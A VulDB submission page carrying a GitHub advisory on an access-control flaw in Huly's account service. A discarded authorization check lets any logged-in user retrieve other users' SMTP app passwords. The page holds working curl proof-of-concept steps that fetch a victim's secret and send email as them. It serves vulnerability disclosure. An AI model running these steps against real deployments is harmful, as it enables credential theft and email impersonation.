제출 #832973: Huly hcengineering/platform <= 0.7.0 (confirmed on commit 18ef71b) Improper Access Controls정보

제목Huly hcengineering/platform <= 0.7.0 (confirmed on commit 18ef71b) Improper Access Controls
설명Title: Mailbox SMTP Secret Disclosure via Discarded Authorization Check Return Value Package: hcengineering/platform Affected Versions: <= 0.7.0 (confirmed on commit 18ef71b) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N CWE: CWE-284 -- Improper Access Control ## GitHub Advisory ### Summary The `getMailboxSecret` RPC method in Huly's account service returns the SMTP app password for any mailbox to any authenticated user. A service-level authorization check is called with `shouldThrow=false`, causing it to return a boolean instead of raising an exception on failure. The return value is silently discarded, so the check is completely unenforced. Any user with a valid session token can retrieve the SMTP credential for any other user's mailbox, enabling them to send email as that user. ### Details The account service exposes an RPC interface over `POST /` (Koa router in `server/account-service/src/index.ts:380`). Any method registered in the `AccountMethods` map is callable by any authenticated user unless the handler enforces stricter access. The vulnerable handler is `getMailboxSecret` in `server/account/src/operations.ts:2526-2538`: ```typescript async function getMailboxSecret ( ctx: MeasureContext, db: AccountDB, branding: Branding | null, token: string, params: { mailbox: string } ): Promise<MailboxSecret | null> { const { extra } = decodeTokenVerbose(ctx, token) verifyAllowedServices(['huly-mail'], extra, false) // ← return value discarded return await db.mailboxSecret.findOne({ mailbox: params.mailbox }) } ``` `verifyAllowedServices` is defined in `server/account/src/utils.ts:1726-1733`: ```typescript export function verifyAllowedServices (services: string[], extra: any, shouldThrow = true): boolean { const ok = services.includes(extra?.service) if (!ok && shouldThrow) { throw new PlatformError(new Status(Severity.ERROR, platform.status.Forbidden, {})) } return ok } ``` When called with `shouldThrow=false`, the function returns `false` for non-service tokens but does not throw. The handler ignores the return value and unconditionally proceeds to query the database, returning the `MailboxSecret` record which contains the SMTP app password (`secret` field). Every other call site in the codebase that uses `shouldThrow=false` correctly assigns and checks the boolean: - `server/account/src/serviceOperations.ts:725` -- `const isAllowedService = verifyAllowedServices(..., false); if (!isAllowedService) { ... }` - `server/account/src/serviceOperations.ts:766` -- same pattern - `server/account/src/operations.ts:2716` -- `const allowedService = verifyAllowedServices(..., false); if (!allowedService) { ... }` Line 2536 is the sole instance where the return value is thrown away. The `getMailboxSecret` method is registered in the public dispatch table (`server/account/src/operations.ts:3245, 3348`): ```typescript // Type union includes: | 'getMailboxSecret' // Dispatch map: getMailboxSecret: wrap(getMailboxSecret), ``` `getMailboxes` (line 2516-2524) correctly scopes by the authenticated account UUID: ```typescript async function getMailboxes(...) { const { account } = decodeTokenVerbose(ctx, token) return await db.mailbox.find({ accountUuid: account }) // scoped to caller } ``` But `getMailboxSecret` takes an arbitrary `mailbox` address with no ownership check. ### PoC Prerequisites: A running Huly instance with the huly-mail service configured and at least one user who has a mailbox set up. Two standard user accounts: alice (victim) and bob (attacker). Both have valid JWT session tokens. **Step 1: Obtain a valid user token for bob (attacker)** ```bash BOB_TOKEN=$(curl -s -X POST https://huly-host/api/v1/login \ -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"BobPassword123"}' \ | jq -r '.token') ``` **Step 2: Discover alice's mailbox address** Alice's mailbox address can be obtained from the Huly UI, a shared workspace member list, or by calling `getMailboxes` as alice. For this PoC, assume alice's mailbox is `[email protected]`. **Step 3: Call getMailboxSecret as bob, supplying alice's mailbox** ```bash curl -s -X POST https://huly-host/ \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $BOB_TOKEN" \ -d '{"method":"getMailboxSecret","params":{"mailbox":"[email protected]"}}' ``` Expected response: ```json { "result": { "mailbox": "[email protected]", "secret": "smtp-app-password-here" } } ``` **Step 4: Use the secret to authenticate to the mail server as alice** ```bash curl -s --url "smtp://huly-mail-server:587" \ --user "[email protected]:smtp-app-password-here" \ --mail-from "[email protected]" \ --mail-rcpt "[email protected]" \ --upload-file message.txt ``` No elevated privilege is required. Any valid user session token suffices. ### Impact Any authenticated user can retrieve the SMTP application password for any other user's Huly mailbox. The attacker can then authenticate to the mail server and send arbitrary email impersonating the victim. In a multi-tenant Huly deployment this affects all users who have a mailbox configured. The fix is to assign the return value of `verifyAllowedServices` and throw or return when it is `false`.
원천⚠️ https://github.com/hcengineering/platform
사용자
 geochen (UID 78995)
제출2026. 05. 19. AM 10:10 (27 날 ago)
모더레이션2026. 06. 14. PM 02:38 (26 days later)
상태수락
VulDB 항목370854 [hcengineering Huly Platform 까지 0.7.0 RPC Interface operations.ts getMailboxSecret 권한 상승]
포인트들20

Interested in the pricing of exploits?

See the underground prices here!